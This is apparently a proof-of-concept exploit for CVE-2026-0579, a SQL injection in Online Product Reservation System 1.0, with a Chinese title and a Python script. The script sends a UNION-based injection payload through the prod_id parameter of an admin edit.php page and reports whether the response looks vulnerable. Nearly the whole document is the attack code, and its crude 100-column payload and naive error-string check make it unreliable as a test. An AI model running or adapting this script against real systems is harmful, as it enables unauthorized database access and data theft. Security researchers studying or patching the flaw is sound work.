CVE-2026-0579: Online Product Reservation System 1.0 SQL注入漏洞

import requests # CVE-2026-0579 PoC - SQL Injection in Online Product Reservation System # Target: /handgunner-administrator/edit.php target_url = "http://target.com/handgunner-administrator/edit.php" # SQL Injection payload in prod_id parameter # Using UNION-based injection to extract database information payload = "' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 ---" data = { "prod_id": payload, "name": "test", "price": "100", "model": "test", "serial": "test" } # Send malicious request response = requests.post(target_url, data=data) print(f"Status Code: {response.status_code}") print(f"Response Length: {len(response.text)}") print(f"Vulnerable: {'SQL' in response.text or 'error' in response.text.lower()}")